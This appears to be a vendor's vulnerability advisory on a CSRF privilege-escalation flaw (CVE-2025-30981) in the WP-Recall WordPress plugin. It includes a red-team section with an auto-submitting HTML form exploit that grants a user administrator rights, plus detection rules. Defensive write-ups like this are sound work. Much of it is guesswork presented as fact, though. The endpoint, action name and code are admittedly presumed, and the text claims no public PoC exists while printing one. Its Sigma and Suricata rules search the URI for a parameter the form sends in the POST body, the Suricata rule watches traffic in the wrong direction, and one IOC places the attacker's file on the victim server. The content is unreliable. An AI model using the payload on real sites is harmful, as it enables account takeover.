CVE-2025-30981

Executive Summary

CVE-2025-30981 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin WP-Recall, affecting versions up to and including 16.26.14. This flaw allows an unauthenticated attacker to trick a privileged user (e.g., an administrator) into performing unintended actions, leading to Privilege Escalation. The vulnerability is classified as a CSRF (CWE-352) and has a CVSS score of 6.3 (Medium). No public proof-of-concept (PoC) or exploit code is currently available, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches as soon as they become available. Since the patch status is unknown, immediate mitigation through Web Application Firewall (WAF) rules or disabling the plugin is recommended.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the victim must click a crafted link or visit a malicious page.
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – potential exposure of sensitive data.
• Integrity Impact: High (I:H) – attacker can modify plugin settings or escalate privileges.
• Availability Impact: Low (A:L) – limited impact on service availability.

Deep Dive & Mechanics

The vulnerability resides in the WP-Recall plugin’s handling of administrative actions. The plugin fails to implement proper CSRF tokens or nonces on critical endpoints, allowing an attacker to forge requests on behalf of an authenticated administrator.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a CSRF payload.
2. The payload targets a WP-Recall administrative action (e.g., changing user roles, modifying plugin settings).
3. When a logged-in administrator visits the malicious page, their browser automatically sends the forged request to the vulnerable WordPress site.
4. The server processes the request without verifying its origin, leading to privilege escalation (e.g., granting the attacker an admin account).

Root Cause: Missing or improper CSRF protection (nonce validation) on sensitive plugin functions.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to lack CSRF nonce checks. A patched version would include:

// Vulnerable code (no nonce check)
function wp_recall_admin_action() {
    // Process action without verifying request origin
    update_option('wp_recall_settings', $_POST['settings']);
}

// Patched code (with nonce verification)
function wp_recall_admin_action() {
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'wp_recall_admin_action' ) ) {
        wp_die( 'CSRF validation failed.' );
    }
    update_option('wp_recall_settings', $_POST['settings']);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• WordPress installation with WP-Recall plugin version 16.26.14.
• Administrator account logged in.

Exploitation Steps:

1. Create a malicious HTML file (csrf.html) with the following content:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin.php?page=wp-recall-settings" method="POST">
  <input type="hidden" name="action" value="grant_admin" />
  <input type="hidden" name="user_id" value="2" />
  <input type="submit" value="Click me" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send the link to the victim administrator (e.g., via email or social engineering).
4. Once the victim visits the page, the form auto-submits, escalating privileges for user ID 2.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unexpected POST requests to /wp-admin/admin.php?page=wp-recall-settings without a valid _wpnonce parameter.
• Alert on privilege escalation events (e.g., user role changes).

Prevention:

• Implement a Web Application Firewall (WAF) rule to block requests to WP-Recall admin pages missing a nonce.
• Disable the plugin until a patch is available.
• Enforce strict Content Security Policy (CSP) headers to prevent form auto-submission.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin.php?page=wp-recall-settings with no _wpnonce parameter.
• Logs: WordPress audit logs showing unexpected user role changes (e.g., subscriber to administrator).
• File: Presence of suspicious HTML files on the server (e.g., csrf.html).
• User Agent: Unusual or empty User-Agent strings in admin panel requests.

Detection Engineering

YARA Rule

rule CVE_2025_30981_CSRF_WP_Recall {
    meta:
        description = "Detects CSRF exploitation attempts against WP-Recall plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-30981"
    strings:
        $admin_page = "admin.php?page=wp-recall-settings"
        $action_grant = "grant_admin"
        $user_id = "user_id"
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-30981 - WP-Recall CSRF Privilege Escalation
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects CSRF exploitation attempts against WP-Recall plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin.php'
        cs-uri-query|contains: 'page=wp-recall-settings'
        cs-uri-query|contains: 'action=grant_admin'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30981 WP-Recall CSRF Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=wp-recall-settings"; http_uri; content:"action=grant_admin"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the WP-Recall plugin until a patch is released.
2. Short-term: Implement a WAF rule to block requests to WP-Recall admin pages without a valid nonce.
3. Long-term: Apply the official patch from the plugin vendor once available.
4. User Education: Train administrators to avoid clicking suspicious links while logged into WordPress.

Valters IT
Securing Digital Frontiers